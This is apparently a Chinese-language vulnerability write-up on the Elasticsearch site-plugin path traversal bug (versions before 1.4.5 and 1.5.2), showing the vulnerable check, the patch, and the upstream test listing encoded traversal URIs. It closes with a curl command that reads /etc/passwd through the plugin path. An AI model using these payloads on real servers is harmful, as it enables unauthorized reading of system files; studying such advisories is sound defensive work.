### ElasticSearch < 1.4.5 / < 1.5.2 - Path Transversal
1.漏洞详情
Elasticsearch是荷兰Elasticsearch公司的一套基于Lucene构建的开源分布式RESTful搜索引擎,它主要用于云计算中,并支持通过HTTP使用JSON进行数据索引。
Elasticsearch 1.4.5之前版本和1.5.2之前1.5.x版本中存在目录遍历漏洞。当程序启用site插件时,远程攻击者可利用该漏洞读取任意文件。
有关分析参考这里
[https://github.com/spinscale/elasticsearch/commit/5d8e9e24c917b5f2c0958ba68be34a42efaeadbc](http://)
原来代码是:
```
1if (!Files.exists(file) || Files.isHidden(file)) {
```
修改后加了验证
```
if (!Files.exists(file) || Files.isHidden(file) || !file.toAbsolutePath().normalize().startsWith(siteFile.toAbsolutePath())) {
```
```
/**
+ * Test normalizing of path
+ */
+ @Test
+ public void testThatPathsAreNormalized() throws Exception {
+ // more info: https://www.owasp.org/index.php/Path_Traversal
+ List<String> notFoundUris = new ArrayList<>();
+ notFoundUris.add("/_plugin/dummy/../../../../../log4j.properties");
+ notFoundUris.add("/_plugin/dummy/../../../../../%00log4j.properties");
+ notFoundUris.add("/_plugin/dummy/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%aflog4j.properties");
+ notFoundUris.add("/_plugin/dummy/%2E%2E/%2E%2E/%2E%2E/%2E%2E/index.html");
+ notFoundUris.add("/_plugin/dummy/%2e%2e/%2e%2e/%2e%2e/%2e%2e/index.html");
+ notFoundUris.add("/_plugin/dummy/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2findex.html");
+ notFoundUris.add("/_plugin/dummy/%2E%2E/%2E%2E/%2E%2E/%2E%2E/index.html");
+ notFoundUris.add("/_plugin/dummy/..\\..\\..\\..\\..\\log4j.properties");
+
+ for (String uri : notFoundUris) {
+ HttpResponse response = httpClient().path(uri).execute();
+ String message = String.format(Locale.ROOT, "URI [%s] expected to be not found", uri);
+ assertThat(message, response.getStatusCode(), equalTo(RestStatus.NOT_FOUND.getStatus()));
+ }
+
+ // using relative path inside of the plugin should work
+ HttpResponse response = httpClient().path("/_plugin/dummy/dir1/../dir1/../index.html").execute();
+ assertThat(response.getStatusCode(), equalTo(RestStatus.OK.getStatus()));
+ assertThat(response.getBody(), containsString("<title>Dummy Site Plugin</title>"));
+ }
```
最后会这样被调用:
```
try {
byte[] data = Files.readAllBytes(file);
channel.sendResponse(new BytesRestResponse(OK, guessMimeType(sitePath), data));
} catch (IOException e) {
channel.sendResponse(new BytesRestResponse(INTERNAL_SERVER_ERROR));
}
```
利用代码:curl http:// ip /_plugin/head/../../../../../../etc/passwd,注意curl版本
评论 (3)
登录 后才能发表评论